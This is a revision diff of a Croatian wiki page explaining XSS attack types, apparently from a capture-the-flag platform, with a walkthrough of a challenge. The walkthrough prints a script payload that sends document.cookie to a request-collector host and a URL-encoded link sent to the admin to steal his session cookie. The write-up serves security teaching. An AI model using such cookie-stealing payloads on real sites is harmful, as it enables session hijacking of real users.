User Tools

Site Tools


xss_napadi

Differences

This shows you the differences between two versions of the page.

Link to this comparison view

Both sides previous revisionPrevious revision
Next revision
Previous revision
xss_napadi [2023/11/23 09:05] zrinkaxss_napadi [2025/12/01 11:40] (current) – external edit 127.0.0.1
Line 2: Line 2:
  
 **XSS (Cross-site scripting)** tip je napada uključenja u kojem napadač ubacuje malicioznu skriptu u web stranicu koju korisnici smatraju povjerljivom. U najranijim verzijama napada fokus napadača bila je krađa podataka cross-site zahtjevima, odnosno zahtjevima koji idu preko više stranica. Od tada je evoluirao te obuhvaća uključenje bilo kakvog sadržaja u web stranicu.\\ **XSS (Cross-site scripting)** tip je napada uključenja u kojem napadač ubacuje malicioznu skriptu u web stranicu koju korisnici smatraju povjerljivom. U najranijim verzijama napada fokus napadača bila je krađa podataka cross-site zahtjevima, odnosno zahtjevima koji idu preko više stranica. Od tada je evoluirao te obuhvaća uključenje bilo kakvog sadržaja u web stranicu.\\
-Funkcionira na način da se korisniku neke web stranice u odgovoru na njegov zahtjev vraća maliciozan+Funkcionira tako da se korisniku neke web stranice u odgovoru na njegov zahtjev vraća maliciozan
 JavaScript kôd, najčešće u obliku klijentske skripte. Nakon njegova izvršenja napadač ima potpunu kontrolu JavaScript kôd, najčešće u obliku klijentske skripte. Nakon njegova izvršenja napadač ima potpunu kontrolu
 nad korisnikovim interakcijama na toj stranici. Ovo je vrlo raširen tip napada. Svaki dio web stranice u nad korisnikovim interakcijama na toj stranici. Ovo je vrlo raširen tip napada. Svaki dio web stranice u
Line 23: Line 23:
 Skripta je obično takva da napadač može pristupiti i mijenjati sve korisnikove podatke, izvoditi sve akcije na stranici koje su njemu dozvoljene te čak izvoditi napade u njegovo ime.  Skripta je obično takva da napadač može pristupiti i mijenjati sve korisnikove podatke, izvoditi sve akcije na stranici koje su njemu dozvoljene te čak izvoditi napade u njegovo ime. 
  
-//Stored XSS (Persistent, second-order XSS)// za razliku od prethodne vrste dohvaća nesigurne podatke sa+//Stored XSS (Persistent, second-order XSS)// za razliku od prethodne vrste dohvaća nesigurne podatke s
 nekog poslužitelja. Ni u ovom se slučaju ne provodi nikakva provjera jesu li ti podatci sigurni za  nekog poslužitelja. Ni u ovom se slučaju ne provodi nikakva provjera jesu li ti podatci sigurni za 
 korištenje. Unos podataka može opet ići preko korisničkog unosa, no razlika je u tome što se ti  korištenje. Unos podataka može opet ići preko korisničkog unosa, no razlika je u tome što se ti 
-ranjivi podatci pohrane i mogu doći do drugih korisnika. Dobar primjer je stranica sa člancima koja+ranjivi podatci pohrane i mogu doći do drugih korisnika. Dobar primjer je stranica člancima koja
  omogućuje komentare. Recimo da je napadač unio skriptu kao komentar na određeni članak. Ta skripta   omogućuje komentare. Recimo da je napadač unio skriptu kao komentar na određeni članak. Ta skripta 
 izvršit će se svakom korisniku koji poželi dohvatiti njegov komentar, odnosno svakom korisniku koji otvori  izvršit će se svakom korisniku koji poželi dohvatiti njegov komentar, odnosno svakom korisniku koji otvori 
 taj članak.  taj članak. 
  
-Zadnji je //DOM-based// napad koji se odvija kad JavaScript kôd web stranice uzima podatke sa izvora koji+Zadnji je //DOM-based// napad koji se odvija kad JavaScript kôd web stranice uzima podatke izvora koji
  kontrolira napadač, primjerice URL, i ubacuje ga u  DOM (//Document Object Model//) stranice. Primjerice, ako napadač dobije pristup pisanja u DOM i unese naredbu:   kontrolira napadač, primjerice URL, i ubacuje ga u  DOM (//Document Object Model//) stranice. Primjerice, ako napadač dobije pristup pisanja u DOM i unese naredbu: 
 <code>document.write('... <script>alert(document.domain)</script> ...'); <code>document.write('... <script>alert(document.domain)</script> ...');
Line 53: Line 53:
 <div> $varUnsafe </div> <div> $varUnsafe </div>
 </code> </code>
-jer napadač može unijeti skritpu kao varijablu, primjerice:+jer napadač može unijeti skriptu kao varijablu, primjerice:
 <code> <code>
 <script>alert`1`</script> <script>alert`1`</script>
Line 84: Line 84:
 kako  bi im lakše mogao pristupiti. Mario je nastavio koristiti svoju stranicu, i zaista se uvjerio da  kako  bi im lakše mogao pristupiti. Mario je nastavio koristiti svoju stranicu, i zaista se uvjerio da 
 nije time  napravio nikakav propust. nije time  napravio nikakav propust.
-Ukoliko i ti želiš koristiti stranicu, sve što moraš napraviti je registrirati se i ulogirati. Tada ćeš+Ako i ti želiš koristiti stranicu, sve što moraš napraviti je registrirati se i ulogirati. Tada ćeš
 moći pretraživati i slati korisne linkove svojim prijateljima i adminu, koji je naravno Mario. moći pretraživati i slati korisne linkove svojim prijateljima i adminu, koji je naravno Mario.
  
Line 95: Line 95:
 U prilogu se nalazi i jedna .php datoteka, no ona se u ovom pojašnjenju ne koristi.\\ U prilogu se nalazi i jedna .php datoteka, no ona se u ovom pojašnjenju ne koristi.\\
  
-Ako pratimo poveznicu, dolazimo na početnu stranicu koja od nas traži registraciju. Nakon što ju napravimo, došli smo do stranice gdje možemo odabrati osobu i link koji joj šaljemo. Nakon registracije vidimo tražilicu linkova i stranicu za slanje linkova. Primjećujemo mjesta za korisnički input koja, ako nemaju dobro riješeno pročišćavanje unosa, mogu biti potencijalno ranjiva. \\ +Ako pratimo poveznicu, dolazimo na početnu stranicu koja od nas traži registraciju. Nakon registracije vidimo tražilicu linkova i stranicu za slanje linkova. Primjećujemo mjesta za korisnički input koja, ako nemaju dobro riješeno pročišćavanje unosa, mogu biti potencijalno ranjiva. \\ 
-Iskoristit ćemo web stranicu na adresi http://requestbaskets.platforma.hacknite.hr. Ta stranica stvara košaricu (basket) za sve zahtjeve koji su joj upućeni i pohranjuje sve detalje toga zahtjeva. Iskoristit ćemo to da bismo ukrali kolačić. Napravimo svoju košaricu. Ona će imati svoj id koji će u daljnjim koracima biti označen s {id} (piše se bez uglatih zagrada u link). Jednostavnija je opcija kopirati link direktno sa stranice i njega upisivati u zahtjeve (crveno zaokruženo).+Testirajmo postoji li ranjivost uključivanja JavaScript koda. Upišimo u tražilicu linkova neku jednostavnu naredbu i pošaljimo zahtjev. 
 +<code><script>alert(1)</script></code> 
 +Vidimo da se naredba izvršila, dakle ranjivost postoji. \\ 
 +Iskoristit ćemo ranjivost tako što ćemo poslati JavaScript kod koji će ukrasti adminov kolačić. Zatim ćemo ukradeni kolačić preusmjeriti na web stranicu koja ga može pohraniti. Za to ćemo iskoristiti stranicu na adresi http://requestbaskets.platforma.hacknite.hr. To je stranica koja stvara košaricu (//basket//) za sve zahtjeve koji su joj upućeni i pohranjuje sve detalje toga zahtjeva. Napravimo svoju košaricu. Ona će imati svoj id koji će u daljnjim koracima biti označen s {id} (piše se bez uglatih zagrada u link). Jednostavnija je opcija kopirati link direktno sa stranice i njega upisivati u zahtjeve (crveno zaokruženo).
  
 {{ :basket2.png?600 |}} {{ :basket2.png?600 |}}
  
-Testirajmo postoji li ranjivost uključivanja JavaScript koda. Upišimo u tražilicu neku jednostavnu naredbu i pošaljimo zahtjev. + Upišimo sad u tražilicu: 
-<code><script>alert(1)</script></code> +
-Vidimo da se naredba izvršila, dakle ranjivost postoji. Upišimo sad u tražilicu: +
 <code><script>document.location="http://requestbasekts.platforma.hacknite.hr/{id}/?c="+document.cookie;</script></code> <code><script>document.location="http://requestbasekts.platforma.hacknite.hr/{id}/?c="+document.cookie;</script></code>
 kako bismo preusmjerili zahtjev na svoju stranicu. Budući da Marijeva stranica ne radi nikakvu provjeru predanih linkova, ovaj JavaScript kod će se izvršiti.  kako bismo preusmjerili zahtjev na svoju stranicu. Budući da Marijeva stranica ne radi nikakvu provjeru predanih linkova, ovaj JavaScript kod će se izvršiti. 
Line 108: Line 109:
 {{ :cookie-rez.png?600 |}} {{ :cookie-rez.png?600 |}}
  
-Preko parametra //c// poslani su kolačići s trenutne stranice na našu, zlonamjernu. Vidimo da se zahtjev preusmjerio na našu stranicu i imamo session id u linku (parametar //c//). No, to je zasad samo naš cookie, nismo dobili pristup administratoru. Zato pokušajmo administratoru poslati sljedeći link:+Preko parametra //c// poslani su kolačići s trenutne stranice na našu, zlonamjernu. Vidimo da se zahtjev preusmjerio na našu stranicu i imamo session id u linku (parametar //c//). No, to je zasad samo naš cookie, nismo dobili pristup administratoru. Otiđimo sad na podstranicu koja određenoj osobi šalje link te pošaljimo adminu sljedeće:
 <code> <code>
 http://chal.platforma.hacknite.hr:10011/search.php?query=%3Cscript%3Edocument.location%3D%22http%3A%2F%2Frequestbaskets.platforma.hacknite.hr/{id}%2F%3Fc%3D%22%2Bdocument.cookie%3B%3C%2Fscript%3E http://chal.platforma.hacknite.hr:10011/search.php?query=%3Cscript%3Edocument.location%3D%22http%3A%2F%2Frequestbaskets.platforma.hacknite.hr/{id}%2F%3Fc%3D%22%2Bdocument.cookie%3B%3C%2Fscript%3E
Line 115: Line 116:
 {{ :zahtjev-link.png?600 |}} {{ :zahtjev-link.png?600 |}}
  
-Ovime smo kao //query// parameter unijeli skriptu koja prebacuje našu trenutnu lokaciju na našu zlonamjernu i opet smo kao //c// parametar unijeli document.cookie da bismo mogli ukrasti administratorov kolačić. Za razumijevanje linka važni su ovi znakovi: \\ +Ovime smo kao //query// parameter unijeli skriptu koja prebacuje našu trenutnu lokaciju na našu zlonamjernu i opet smo kao //c// parametar unijeli document.cookie da bismo mogli ukrasti administratorov kolačić. Posebni znakovi u linku koji šaljemo su URL-encodani: \\ 
-%3C < \\ +^ Kod ^ Značenje znaka ^ 
-%3E > \\ +|%3C  || 
-%3D = \\ +|%3E  | 
-%22 " \\ +|%3D  || 
-%3A : \\ +|%22  || 
-%3F ? \\ +|%3A  || 
-%2F / \\ +|%3F  || 
-%3B ; \\+|%2F  || 
 +|%3B  ||
  
 Nakon što smo poslali zahtjev, on se pojavi na requestbaskets sa svim detaljima, uključujući i flag: Nakon što smo poslali zahtjev, on se pojavi na requestbaskets sa svim detaljima, uključujući i flag:
Line 130: Line 132:
  
 Flag je URL-encoded, ali jedino što treba promijeniti su uglate zagrade:\\ Flag je URL-encoded, ali jedino što treba promijeniti su uglate zagrade:\\
-%5B [ \\ +^ Kod ^ Značenje znaka ^ 
-%5D ] \\+|%5B  || 
 +|%5D  |
  
-Izvori \\+===Izvori===
 [1]https://owasp.org/www-community/attacks/xss/ \\ [1]https://owasp.org/www-community/attacks/xss/ \\
 [2]https://owasp.org/www-community/Types_of_Cross-Site_Scripting\\ [2]https://owasp.org/www-community/Types_of_Cross-Site_Scripting\\
xss_napadi.1700730323.txt.gz · Last modified: 2025/12/01 11:40 (external edit)

Donate Powered by PHP Valid HTML5 Valid CSS Driven by DokuWiki